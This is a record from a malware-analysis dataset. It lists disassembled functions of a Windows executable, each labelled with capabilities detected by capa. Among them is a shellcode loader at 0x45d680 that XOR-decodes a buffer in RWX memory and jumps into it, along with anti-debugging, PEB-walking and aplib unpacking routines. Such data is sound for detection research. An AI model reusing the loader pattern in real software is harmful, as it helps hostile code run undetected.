joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4593b0
Capabilities:
Inspect load icon resource

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffefc
push ebx
push esi
test dl, dl
je 0x4593c7
add esp, 0xfffffff0
call fcn.004033fc
mov byte [ebp - 1], dl
mov ebx, eax
xor edx, edx
mov eax, ebx
call fcn.004192d4
mov eax, dword [0x465028]
cmp word [eax + 2], 0
jne 0x4593ef
mov eax, dword [0x465028]
mov dword [eax + 4], ebx
mov dword [eax], fcn.0045aa88
mov eax, dword [0x4650d4]
cmp word [eax + 2], 0
jne 0x459409
mov eax, dword [0x4650d4]
mov dword [eax + 4], ebx
mov dword [eax], fcn.0045ac80
mov byte [ebx + 0x34], 0
mov dl, 1
mov eax, dword [0x4115cc]
call fcn.004030a8
mov dword [ebx + 0x90], eax
mov dl, 1
mov eax, dword [0x4115cc]
call fcn.004030a8
mov dword [ebx + 0xa8], eax
xor eax, eax
mov dword [ebx + 0x60], eax
xor eax, eax
mov dword [ebx + 0x84], eax
mov dword [ebx + 0x5c], 0xff000018
mov dword [ebx + 0x78], 0x1f4
mov byte [ebx + 0x7c], 1
xor eax, eax
mov dword [ebx + 0x80], eax
mov dword [ebx + 0x74], 0x9c4
mov byte [ebx + 0x88], 0
mov byte [ebx + 0x9d], 1
mov byte [ebx + 0xb4], 1
mov dl, 1
mov eax, dword [0x41b750]
call fcn.00422bbc
mov esi, eax
mov dword [ebx + 0x98], esi
push 0x459590
mov eax, dword [0x464f50]
mov eax, dword [eax]
push eax
call sub.user32.dll_LoadIconA
mov edx, eax
mov eax, esi
call fcn.00422f8c
mov eax, dword [ebx + 0x98]
mov dword [eax + 0x14], ebx
mov dword [eax + 0x10], 0x45b220
push pe_nt_image_headers32
lea eax, [ebp - 0x101]
push eax
mov eax, dword [0x464f50]
mov eax, dword [eax]
push eax
call sub.kernel32.dll_GetModuleFileNameA_1
lea eax, [ebp - 0x101]
push eax
lea eax, [ebp - 0x101]
push eax
call sub.user32.dll_OemToCharA
lea eax, [ebp - 0x101]
mov dl, 0x5c
call fcn.0040c148
test eax, eax
je 0x4594fe
lea edx, [eax + 1]
lea eax, [ebp - 0x101]
call fcn.00408474
lea eax, [ebp - 0x101]
mov dl, 0x2e
call fcn.0040c170
test eax, eax
je 0x459512
mov byte [eax], 0
lea eax, [ebp - 0x101]
inc eax
push eax
call sub.user32.dll_CharLowerA
lea eax, [ebx + 0x8c]
lea edx, [ebp - 0x101]
mov ecx, pe_nt_image_headers32
call fcn.00404098
mov eax, dword [0x464e48]
cmp byte [eax], 0
jne 0x459546
mov eax, ebx
call fcn.004596b8
mov byte [ebx + 0x59], 1
mov byte [ebx + 0x5a], 1
mov byte [ebx + 0x5b], 1
mov byte [ebx + 0x9e], 1
xor eax, eax
mov dword [ebx + 0xa0], eax
mov eax, ebx
call fcn.0045b3fc
mov eax, ebx
call fcn.0045be10
mov eax, ebx
cmp byte [ebp - 1], 0
je 0x459586
call fcn.00403454
pop dword fs:[0]
add esp, 0xc
mov eax, ebx
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x459938
Capabilities:
Enumerate gui resources

Disassembly:
push ebx
push esi
add esp, 0xfffffff8
mov ebx, eax
mov eax, dword [0x466bb0]
cmp dword [eax + 0x30], 0
je 0x4599e2
cmp dword [ebx + 0x94], 0
jne 0x4599dc
mov eax, dword [ebx + 0x30]
mov dword [esp], eax
mov byte [esp + 4], dl
mov eax, esp
push eax
push 0x4598c8
call sub.user32.dll_EnumWindows
mov eax, dword [ebx + 0x90]
cmp dword [eax + 8], 0
je 0x4599dc
push 3
mov eax, dword [esp + 4]
push eax
call sub.user32.dll_GetWindow
mov esi, eax
mov dword [esp], esi
push 0xffffffffffffffec
push esi
call sub.user32.dll_GetWindowLongA
test al, 8
je 0x4599a2
mov dword [esp], 0xfffffffe
mov eax, dword [ebx + 0x90]
mov esi, dword [eax + 8]
dec esi
cmp esi, 0
jl 0x4599dc
push 0x213
push 0
push 0
push 0
push 0
mov eax, dword [esp + 0x14]
push eax
mov edx, esi
mov eax, dword [ebx + 0x90]
call fcn.00413934
push eax
call sub.user32.dll_SetWindowPos
dec esi
cmp esi, 0xffffffff
jne 0x4599b1
inc dword [ebx + 0x94]
pop ecx
pop edx
pop esi
pop ebx
ret

Function at 0x45a544
Capabilities:
Get graphical window text

Disassembly:
push ebx
push esi
add esp, 0xffffff00
mov esi, edx
mov ebx, eax
cmp byte [ebx + 0xa4], 0
je 0x45a579
push pe_nt_image_headers32
lea eax, [esp + 4]
push eax
mov eax, dword [ebx + 0x30]
push eax
call sub.user32.dll_GetWindowTextA
mov ecx, eax
mov edx, esp
mov eax, esi
call fcn.00403f18
jmp 0x45a586
mov eax, esi
mov edx, dword [ebx + 0x8c]
call fcn.00403e7c
add esp, 0x100
pop esi
pop ebx
ret

Function at 0x45b5d8
Capabilities:
Hide graphical window

Disassembly:
push ebx
push esi
mov ebx, eax
mov esi, dword [ebx + 0x84]
test esi, esi
je 0x45b619
mov eax, esi
call fcn.00441cfc
test al, al
je 0x45b619
mov eax, dword [ebx + 0x84]
call fcn.004419f8
push eax
call sub.user32.dll_IsWindowVisible
test eax, eax
je 0x45b619
push 0
mov eax, dword [ebx + 0x84]
call fcn.004419f8
push eax
call sub.user32.dll_ShowWindow
pop esi
pop ebx
ret

Function at 0x45d680
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff8
push ebx
push esi
mov ebx, dword [ebp + 8]
nop
nop
test ebx, ebx
je 0x45d6e5
nop
push 0x463588
push 0x463598
call sub.kernel32.dll_GetModuleHandleA_2
push eax
call sub.kernel32.dll_GetProcAddress_1
mov esi, eax
nop
nop
nop
nop
lea eax, [ebp - 8]
push eax
push 0x40
push 0x5e8e
push ebx
call esi
xor eax, eax
nop
nop
lea edx, [eax + ebx]
mov dl, byte [edx]
nop
nop
xor dl, 0x82
lea ecx, [eax + ebx]
mov byte [ecx], dl
inc eax
cmp eax, 0x5e8f
jne 0x45d6bd
nop
nop
add ebx, 0x5e68
mov dword [ebp - 4], ebx
nop
jmp dword [ebp - 4]
nop
push 0x45d6f0
call fcn.0045d680
adc dl, byte [edx]
adc dl, dl
imul eax, dword [0x128282b3], 0x12
adc dl, byte [edx]
adc dl, byte [edx]
adc dl, byte [edx]
adc dl, byte [edx]
adc dl, byte [edx]
adc dl, byte [edx]
adc dl, byte [edx]
fild dword [edi]
inc edx
lea eax, [esi]
and ebx, ecx
add byte [edx - 0x7d276b95], 0x82
in al, 0xb
invalid
Function at 0xd08058
Capabilities:
Decompress data using aplib

Disassembly:
call fcn.00d081a8
push ebx
mov ebx, esp
push ebx
mov esi, dword [ebx + 8]
mov edi, dword [ebx + 0x10]
cld
mov dl, 0x80
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
mov ebx, 2
add dl, dl
jne 0xd0807e
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0xd0806a
add dl, dl
jne 0xd08089
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0xd080dc
xor eax, eax
add dl, dl
jne 0xd08096
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0xd0817d
add dl, dl
jne 0xd080a5
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0xd080b0
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0xd080bb
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0xd080c6
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
je 0xd080d2
push edi
mov eax, eax
sub edi, eax
mov al, byte [edi]
pop edi
mov byte [edi], al
inc edi
mov ebx, 2
jmp 0xd08075
mov eax, 1
add dl, dl
jne 0xd080ea
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0xd080f5
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0xd080e1
sub eax, ebx
mov ebx, 1
jne 0xd08128
mov ecx, 1
add dl, dl
jne 0xd0810e
mov dl, byte [esi]
inc esi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0xd08119
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0xd08105
push esi
mov esi, edi
sub esi, ebp
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0xd08075
dec eax
shl eax, 8
mov al, byte [esi]
inc esi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0xd0813f
mov dl, byte [esi]
inc esi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0xd0814a
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0xd08136
cmp eax, 0x7d00
jae 0xd0816d
cmp eax, 0x500
jb 0xd08168
inc ecx
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0xd08075
cmp eax, 0x7f
ja 0xd08170
add ecx, 2
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0xd08075
mov al, byte [esi]
inc esi
xor ecx, ecx
shr al, 1
je 0xd0819e
adc ecx, 2
mov ebp, eax
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
mov ebx, 1
jmp 0xd08075
pop ebx
sub edi, dword [ebx + 0x10]
mov eax, edi
pop ebx
ret 0x10
Function at 0x414ac0
Capabilities:
Encode data using xor

Disassembly:
mov ah, al
sbb dh, ch
fidivr dword [ecx + 0x68df69ac]
xchg ebp, eax
clc
sbb eax, 0x2942fd2b
add dword [edi - 0x5269de13], 0x3af7bc0
xlatb
imul bx, word [reloc.uxtheme.dll_GetThemeFont], 0x9dc8
imul eax, dword [ebp + 0x18], 0xc0fd28bf
invalid
Function at 0x404c60
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
lea esp, [esp - 8]
push ebx
push esi
push edi
mov ecx, dword [ebp + 8]
mov ebx, dword [ebp + 0xc]
mov dword [ebp - 4], eax
not ebx
not ecx
mov eax, ecx
mov dword [ebp - 8], ebx
sub edx, 1
mov edi, edx
test edi, edi
jl 0x404ccc
mov edx, 0xffffffff
lea esi, [esi]
add edx, 1
mov ecx, eax
and ecx, 0xff
mov esi, dword [ebp - 4]
movzx ebx, byte [esi]
xor ecx, ebx
mov ebx, eax
mov esi, dword [ebp - 8]
shrd ebx, esi, 8
shr esi, 8
xor ebx, dword [ecx*8 + 0x4e42c0]
xor esi, dword [ecx*8 + 0x4e42c4]
mov eax, ebx
mov dword [ebp - 8], esi
add dword [ebp - 4], 1
cmp edi, edx
jg 0x404c90
mov esi, esi
mov edx, dword [ebp - 8]
not edx
not eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8

Function at 0x404ce0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
lea esp, [esp - 8]
push ebx
push esi
push edi
mov dword [ebp - 4], ecx
mov ecx, dword [ebp + 8]
mov edi, eax
mov eax, dword [ebp - 4]
mov esi, dword [eax]
mov eax, esi
sar eax, 0x1f
mov ebx, 0
add esi, ecx
adc eax, ebx
mov ecx, esi
not eax
not ecx
mov dword [ebp - 8], ecx
lea ecx, [edx - 1]
test ecx, ecx
jl 0x404d5c
mov eax, 0xffffffff
lea esi, [esi]
add eax, 1
mov bl, byte [edi]
movzx edx, bl
add edx, dword [ebp - 8]
and edx, 0xff
mov esi, dword [ebp - 4]
mov dl, byte [esi + edx + 4]
mov byte [edi], dl
mov dl, byte [ebp - 8]
xor dl, bl
and edx, 0xff
mov esi, dword [ebp - 8]
shr esi, 8
xor esi, dword [edx*4 + 0x4e3ec0]
mov dword [ebp - 8], esi
add edi, 1
cmp ecx, eax
jg 0x404d20
mov eax, dword [ebp - 8]
not eax
mov edx, dword [ebp - 4]
sub eax, dword [edx]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4

Function at 0x404d70
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
lea esp, [esp - 0xc]
push ebx
push esi
push edi
mov dword [ebp - 4], ecx
mov ecx, dword [ebp + 8]
mov edi, eax
mov eax, dword [ebp - 4]
mov esi, dword [eax]
mov eax, esi
sar eax, 0x1f
mov ebx, 0
add esi, ecx
adc eax, ebx
mov ecx, esi
not eax
not ecx
mov dword [ebp - 8], ecx
lea ecx, [edx - 1]
test ecx, ecx
jl 0x404df0
mov ebx, 0xffffffff
lea esi, [esi]
add ebx, 1
movzx eax, byte [edi]
mov edx, dword [ebp - 4]
movzx eax, byte [edx + eax + 0x104]
movzx edx, byte [ebp - 8]
sub eax, edx
mov byte [ebp - 0xc], al
mov byte [edi], al
mov al, byte [ebp - 8]
xor al, byte [ebp - 0xc]
and eax, 0xff
mov edx, dword [ebp - 8]
shr edx, 8
xor edx, dword [eax*4 + 0x4e3ec0]
mov dword [ebp - 8], edx
add edi, 1
cmp ecx, ebx
jg 0x404db0
mov esi, esi
mov eax, dword [ebp - 8]
not eax
mov edx, dword [ebp - 4]
sub eax, dword [edx]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
Function at 0x404e10
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
lea esp, [esp - 0x10]
push ebx
push esi
push edi
mov ebx, dword [ebp + 0xc]
mov dword [ebp - 4], ebx
mov ebx, dword [ebp + 8]
mov dword [ebp - 8], eax
mov edi, edx
mov eax, dword [ebp - 4]
mov esi, dword [eax]
mov eax, esi
sar eax, 0x1f
mov edx, 0
add esi, ebx
adc eax, edx
mov edx, esi
not eax
not edx
mov dword [ebp - 0xc], edx
sub ecx, 1
test ecx, ecx
jl 0x404e94
mov ebx, 0xffffffff
add ebx, 1
mov eax, dword [ebp - 8]
movzx esi, byte [eax]
mov edx, dword [ebp - 4]
movzx eax, byte [edx + esi + 0x104]
movzx edx, byte [ebp - 0xc]
sub eax, edx
mov byte [ebp - 0x10], al
mov byte [edi], al
mov al, byte [ebp - 0xc]
xor al, byte [ebp - 0x10]
movzx edx, al
mov eax, dword [ebp - 0xc]
shr eax, 8
xor eax, dword [edx*4 + 0x4e3ec0]
mov dword [ebp - 0xc], eax
add dword [ebp - 8], 1
add edi, 1
cmp ecx, ebx
jg 0x404e50
nop
mov eax, dword [ebp - 0xc]
not eax
mov edx, dword [ebp - 4]
sub eax, dword [edx]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8
Function at 0x405a90
Capabilities:
Hash data using sha1

Disassembly:
push ebx
mov ebx, eax
mov dword [ebx + 0x14], 0
mov dword [ebx + 0x18], 0
mov dword [ebx + 0x5c], 0
lea eax, [ebx + 0x1c]
xor cl, cl
mov edx, 0x40
call fcn.00446ef0
mov dword [ebx], 0x67452301
mov dword [ebx + 4], 0xefcdab89
mov dword [ebx + 8], 0x98badcfe
mov dword [ebx + 0xc], 0x10325476
mov dword [ebx + 0x10], 0xc3d2e1f0
pop ebx
ret
Function at 0x40f230
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
lea esp, [esp - 0x10]
push ebx
push esi
push edi
mov dword [ebp - 0xc], eax
mov dword [ebp - 8], edx
mov dword [ebp - 4], ecx
cmp dword [ebp - 8], 1
jne 0x40f258
mov eax, dword [ebp - 0xc]
mov edx, dword [ebp - 0xc]
call dword [edx + 0x34]
mov dword [ebp - 0xc], eax
lea esi, [esi]
cmp dword [ebp - 0xc], 0
je 0x40f356
mov esi, esi
xor eax, eax
push 0x40f337
push ebp
push 0x458590
push dword fs:[eax]
mov dword fs:[eax], esp
mov dword [ebp - 0x10], 0xffffffff
push 0x400000
mov eax, dword [ebp - 0xc]
mov cl, 1
xor edx, edx
call fcn.0047e3e0
mov eax, dword [ebp - 0xc]
mov byte [eax + 9], 1
mov eax, dword [ebp - 0xc]
mov edx, dword [ebp - 4]
mov dword [eax + 0x134], edx
call fcn.00402590
mov ecx, dword [ebp - 0xc]
mov dword [ecx + 0x138], eax
mov dword [ecx + 0x13c], edx
mov ecx, dword [ebp + 8]
mov eax, dword [ebp - 0xc]
mov edx, dword [eax + 0x138]
mov dword [ecx + 8], edx
mov eax, dword [eax + 0x13c]
mov dword [ecx + 0xc], eax
mov edx, dword [ebp + 8]
mov eax, dword [ebp - 0xc]
mov dword [edx + 0x20], eax
mov eax, dword [ebp - 0xc]
mov dword [eax + 0x130], 1
mov eax, dword [ebp - 0xc]
mov edx, dword [ebp + 8]
mov dword [eax + 0x30], edx
mov edx, dword [ebp - 0xc]
mov eax, dword [ebp + 8]
mov al, byte [eax + 0x13]
mov byte [edx + 0x158], al
mov eax, dword [ebp - 0xc]
mov byte [eax + 0x159], 0
mov eax, dword [ebp - 0xc]
call fcn.0047e540
mov dword [ebp - 0x10], 1
cmp dword [ebp - 0xc], 0
je 0x40f32c
cmp dword [ebp - 8], 0
je 0x40f32c
mov eax, dword [ebp - 0xc]
mov edx, dword [ebp - 0xc]
mov edx, dword [edx]
call dword [edx + 0x44]
xor eax, eax
pop edx
add esp, 0xc
mov dword fs:[eax], edx
jmp 0x40f356
mov eax, dword [ebp - 0xc]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
Function at 0x4521f0
Capabilities:
Encode data using xor
Generate random numbers using a mersenne twister

Disassembly:
mov dword [0x4e5f90], eax
xor eax, eax
nop
add eax, 1
mov ecx, dword [eax*4 + 0x4e5f8c]
mov edx, ecx
shr edx, 0x1e
xor edx, ecx
imul edx, edx, 0x6c078965
add edx, eax
mov dword [eax*4 + 0x4e5f90], edx
cmp eax, 0x26f
jl 0x4521f8
mov dword [0x4a9290], 0x270
ret

Function at 0x452230
Capabilities:
Encode data using xor
Generate random numbers using a mersenne twister

Disassembly:
push ebx
mov eax, 0xffffffff
mov esi, esi
add eax, 1
mov ecx, dword [eax*4 + 0x4e5f94]
mov ebx, dword [eax*4 + 0x4e5f90]
mov edx, ecx
and edx, 1
neg edx
and edx, 0x9908b0df
and ebx, 0x80000000
and ecx, 0x7fffffff
or ebx, ecx
shr ebx, 1
xor edx, ebx
xor edx, dword [eax*4 + 0x4e65c4]
mov dword [eax*4 + 0x4e5f90], edx
cmp eax, 0xe2
jl 0x452238
mov eax, 0xe2
lea esi, [esi]
add eax, 1
mov ecx, dword [eax*4 + 0x4e5f94]
mov ebx, dword [eax*4 + 0x4e5f90]
mov edx, ecx
and edx, 1
neg edx
and edx, 0x9908b0df
and ebx, 0x80000000
and ecx, 0x7fffffff
or ebx, ecx
shr ebx, 1
xor edx, ebx
xor edx, dword [eax*4 + 0x4e5c04]
mov dword [eax*4 + 0x4e5f90], edx
cmp eax, 0x26e
jl 0x452288
mov edx, dword [0x4e5f90]
mov ecx, dword [0x4e694c]
mov eax, edx
and eax, 1
neg eax
and eax, 0x9908b0df
and ecx, 0x80000000
and edx, 0x7fffffff
or ecx, edx
shr ecx, 1
xor eax, ecx
xor eax, dword [0x4e65c0]
mov dword [0x4e694c], eax
mov dword [0x4a9290], 0
pop ebx
ret

Function at 0x452310
Capabilities:
Generate random numbers using a mersenne twister

Disassembly:
push ebx
mov ebx, dword [0x4a9290]
add dword [0x4a9290], 1
mov eax, dword [0x4e4b30]
cmp eax, dword [0x4a89e0]
jne 0x452333
cmp ebx, 0x271
jb 0x452354
mov eax, dword [0x4e4b30]
call fcn.004521f0
not dword [0x4e4b30]
mov eax, dword [0x4e4b30]
mov dword [0x4a89e0], eax
mov ebx, 0x270
mov esi, esi
cmp ebx, 0x270
jne 0x452370
call fcn.00452230
xor ebx, ebx
mov dword [0x4a9290], 1
lea esi, [esi]
mov edx, dword [ebx*4 + 0x4e5f90]
mov eax, edx
shr eax, 0xb
xor eax, edx
mov edx, eax
shl edx, 7
and edx, 0x9d2c5680
xor edx, eax
mov ecx, edx
shl ecx, 0xf
and ecx, 0xefc60000
xor ecx, edx
mov eax, ecx
shr eax, 0x12
xor eax, ecx
pop ebx
ret
Function at 0x453e20
Capabilities:
Check for software breakpoints

Disassembly:
push ebx
push esi
push edi
mov ax, word [0x4a8720]
cmp ax, 0xcb
je 0x453f2c
cmp ax, 0xcc
je 0x453f2c
lea esi, [esi]
mov edx, dword [0x4e6b90]
test edx, edx
je 0x453e55
mov eax, dword [0x4e6a40]
call edx
mov ebx, eax
jmp 0x453e5a
mov ebx, 0x4e6a44
cmp word [0x4e6a30], 0
jle 0x453e80
mov eax, 0x4e6a10
call fcn.004540e0
mov eax, ebx
call fcn.004539e0
mov eax, ebx
call fcn.00453a50
lea esi, [esi]
mov edi, dword [ebx]
jmp 0x453ea2
mov esi, dword [edi + 4]
mov eax, dword [edi]
and eax, 1
jne 0x453e9d
mov edx, edi
mov eax, ebx
call fcn.00452e50
jmp 0x453ea0
and dword [edi], 0xfffffffe
mov edi, esi
test edi, edi
jne 0x453e88
mov dword [ebx], 0
mov dword [ebx + 0x88], 0
cmp word [0x4e6a30], 0
jle 0x453f2c
mov edx, 0x4e6950
mov eax, ebx
call fcn.00452f90
mov edi, eax
test edi, edi
je 0x453efc
mov eax, dword [0x4e69e4]
mov dword [edi + 0xc], eax
cmp dword [0x4e69e4], 0
je 0x453ef0
mov eax, dword [0x4e69e4]
mov dword [eax + 8], edi
mov eax, dword [ebx + 0x94]
mov dword [0x4e69e4], eax
nop
sub word [0x4e6a30], 1
cmp word [0x4e6a30], 0
sete bl
mov eax, 0x4e6a10
call fcn.00454100
test bl, bl
je 0x453f2c
mov eax, 0x4e6a10
call fcn.004540d0
lea esi, [esi]
pop edi
pop esi
pop ebx
ret
Function at 0x456b70
Capabilities:
Set environment variable

Disassembly:
push ebp
mov ebp, esp
lea esp, [esp - 0x10]
push ebx
push esi
push edi
mov esi, eax
mov dword [ebp - 0xc], 0
xor eax, eax
push fcn.00456b60
push ebp
push 0x458210
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0x10]
push eax
push 0
push 0
mov eax, esi
test esi, esi
jne 0x456ba9
mov eax, 0x4e5e10
push eax
call sub.kernel32.dll_GetFullPathNameW
mov ebx, eax
lea edx, [ebx - 1]
lea eax, [ebp - 0xc]
call fcn.0044ea30
lea eax, [ebp - 0x10]
push eax
mov eax, dword [ebp - 0xc]
test eax, eax
jne 0x456bcc
mov eax, 0x4e5e10
push eax
push ebx
mov eax, esi
test esi, esi
jne 0x456bd9
mov eax, 0x4e5e10
push eax
call sub.kernel32.dll_GetFullPathNameW
mov edx, eax
test edx, edx
je 0x456c9e
jmp 0x456bf3
sub edx, 1
cmp edx, 3
jbe 0x456c04
mov eax, dword [ebp - 0xc]
cmp word [eax + edx*2 - 2], 0x5c
je 0x456bf0
mov eax, ebx
mov edi, 0
sub eax, 1
sbb edi, 0
mov ecx, edx
xor ebx, ebx
cmp edi, ebx
jne 0x456c1d
cmp eax, ecx
je 0x456c28
lea eax, [ebp - 0xc]
call fcn.0044ea30
lea esi, [esi]
mov eax, 0x401200
mov edx, dword [ebp - 0xc]
call fcn.00456ae0
mov edx, dword [0x4e6b90]
test edx, edx
je 0x456c48
mov eax, dword [0x4e5c70]
call edx
jmp 0x456c4d
mov eax, 0x4e5c74
cmp word [eax], 0
jne 0x456caa
mov eax, esi
test esi, esi
je 0x456c5d
mov eax, dword [eax - 4]
cmp eax, 2
jle 0x456caa
cmp word [esi + 2], 0x3a
jne 0x456caa
mov word [ebp - 8], 0x3d
mov ax, word [esi]
mov word [ebp - 6], ax
mov word [ebp - 4], 0x3a
mov word [ebp - 2], 0
mov eax, dword [ebp - 0xc]
test eax, eax
jne 0x456c8f
mov eax, 0x4e5e10
push eax
lea eax, [ebp - 8]
push eax
call sub.kernel32.dll_SetEnvironmentVariableW
lea esi, [esi]
jmp 0x456caa
mov eax, 0x401200
mov edx, esi
call fcn.00456ae0
mov edx, dword [0x4e6b90]
test edx, edx
je 0x456cbd
mov eax, dword [0x4e5c70]
call edx
jmp 0x456cc2
mov eax, 0x4e5c74
cmp word [eax], 2
jne 0x456ce8
mov edx, dword [0x4e6b90]
test edx, edx
je 0x456cdc
mov eax, dword [0x4e5c70]
call edx
jmp 0x456ce1
mov eax, 0x4e5c74
mov word [eax], 3
mov esi, esi
xor eax, eax
pop edx
add esp, 0xc
mov dword fs:[eax], edx
mov eax, ebp
call fcn.00456b60
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x456d20
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
lea esp, [esp - 0x20]
push ebx
push esi
push edi
mov byte [ebp - 0x20], al
mov dword [ebp - 0x1c], edx
mov dword [ebp - 0x18], 0
mov dword [ebp - 0x14], 0
mov dword [ebp - 0x10], 0
xor eax, eax
push fcn.00456d00
push ebp
push 0x458210
push dword fs:[eax]
mov dword fs:[eax], esp
test byte [ebp - 0x20], 0xff
je 0x456e4a
movzx eax, byte [ebp - 0x20]
sub eax, 0xffffffc0
mov word [ebp - 8], ax
mov word [ebp - 6], 0x3a
mov word [ebp - 4], 0
mov word [ebp - 2], 0
lea eax, [ebp - 0xc]
push eax
push 0
push 0
lea eax, [ebp - 8]
push eax
call sub.kernel32.dll_GetFullPathNameW
mov esi, eax
lea edx, [esi - 1]
mov eax, dword [ebp - 0x1c]
call fcn.0044ea30
lea eax, [ebp - 0xc]
push eax
mov eax, dword [ebp - 0x1c]
mov edx, dword [eax]
test edx, edx
jne 0x456daf
mov edx, 0x4e5e10
push edx
push esi
lea eax, [ebp - 8]
push eax
call sub.kernel32.dll_GetFullPathNameW
mov ebx, eax
test ebx, ebx
jne 0x456e01
call sub.kernel32.dll_GetLastError
call fcn.00447910
lea eax, [ebp - 0x10]
call fcn.0044d7f0
movzx eax, byte [ebp - 0x20]
sub eax, 0xffffffc0
lea edx, [ebp - 0x14]
call fcn.0044dc90
mov edx, dword [ebp - 0x14]
mov ecx, 0x4ce4b0
lea eax, [ebp - 0x10]
call fcn.0044db20
mov eax, dword [ebp - 0x10]
mov edx, dword [ebp - 0x1c]
call fcn.0044e3d0
jmp 0x456e98
mov eax, esi
mov edx, 0
sub eax, 1
sbb edx, 0
mov ecx, ebx
xor edi, edi
cmp edx, edi
jne 0x456e1a
cmp eax, ecx
je 0x456e24
mov eax, dword [ebp - 0x1c]
mov edx, ebx
call fcn.0044ea30
cmp byte [0x4a89a0], 0
jne 0x456e98
mov edx, dword [ebp - 0x1c]
mov eax, dword [edx]
lea edx, [ebp - 0x18]
call fcn.0044ef80
mov edx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x1c]
call fcn.0044e410
lea esi, [esi]
jmp 0x456e98
push 0
push 0
call sub.kernel32.dll_GetCurrentDirectoryW
mov esi, eax
lea edx, [esi - 1]
mov eax, dword [ebp - 0x1c]
call fcn.0044ea30
mov edx, dword [ebp - 0x1c]
mov eax, dword [edx]
test eax, eax
jne 0x456e6e
mov eax, 0x4e5e10
push eax
push esi
call sub.kernel32.dll_GetCurrentDirectoryW
cmp byte [0x4a89a0], 0
jne 0x456e98
mov edx, dword [ebp - 0x1c]
mov eax, dword [edx]
lea edx, [ebp - 0x18]
call fcn.0044ef80
mov edx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x1c]
call fcn.0044e410
mov esi, esi
xor edx, edx
pop eax
add esp, 0xc
mov dword fs:[edx], eax
mov eax, ebp
call fcn.00456d00
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x457390
Capabilities:
Accept command line arguments

Disassembly:
push ebp
mov ebp, esp
lea esp, [esp - 0x114]
push ebx
push esi
push edi
mov dword [ebp - 0x10c], 0
mov dword [0x4e5d70], 0
mov dword [ebp - 4], 0
push 0x104
lea eax, [ebp - 0x108]
push eax
push 0
call sub.kernel32.dll_GetModuleFileNameA
mov byte [ebp + eax - 0x108], 0
mov dword [ebp - 0x110], eax
mov ecx, eax
xor edx, edx
mov eax, ebp
call fcn.00457570
mov eax, dword [ebp - 0x110]
lea ecx, [eax + 1]
mov eax, dword [0x4e5d70]
mov edx, dword [eax]
lea eax, [ebp - 0x108]
call fcn.00446eb0
call sub.kernel32.dll_GetCommandLineA
mov dword [0x4a87a0], eax
mov ebx, eax
jmp 0x457533
add ebx, 1
movzx eax, byte [ebx]
sub eax, 1
cmp eax, 0x20
jb 0x457418
cmp byte [ebx], 0
je 0x45753c
nop
mov byte [ebp - 0x114], 0
mov edi, ebx
mov dword [ebp - 0x110], 0
jmp 0x457493
mov al, byte [ebx]
cmp al, 1
jb 0x457488
sub al, 0x20
jbe 0x457458
sub al, 2
je 0x45746c
jmp 0x457488
mov al, byte [ebp - 0x114]
test al, al
je 0x457498
add dword [ebp - 0x110], 1
jmp 0x457490
cmp byte [ebx + 1], 0x22
je 0x457483
mov al, byte [ebp - 0x114]
test al, al
sete byte [ebp - 0x114]
jmp 0x457490
add ebx, 1
jmp 0x457490
add dword [ebp - 0x110], 1
nop
add ebx, 1
cmp byte [ebx], 0
jne 0x457448
test dword [ebp - 0x10c], 0xffffffff
je 0x45752c
mov ecx, dword [ebp - 0x110]
mov edx, dword [ebp - 0x10c]
mov eax, ebp
call fcn.00457570
mov byte [ebp - 0x114], 0
mov ebx, edi
mov eax, dword [0x4e5d70]
mov edx, dword [ebp - 0x10c]
mov esi, dword [eax + edx*4]
jmp 0x457523
mov al, byte [ebx]
cmp al, 1
jb 0x457518
sub al, 0x20
jbe 0x4574e8
sub al, 2
je 0x4574fc
jmp 0x457518
mov al, byte [ebp - 0x114]
test al, al
je 0x457528
mov al, byte [ebx]
mov byte [esi], al
add esi, 1
jmp 0x457520
cmp byte [ebx + 1], 0x22
je 0x457513
mov al, byte [ebp - 0x114]
test al, al
sete byte [ebp - 0x114]
jmp 0x457520
add ebx, 1
jmp 0x457520
mov al, byte [ebx]
mov byte [esi], al
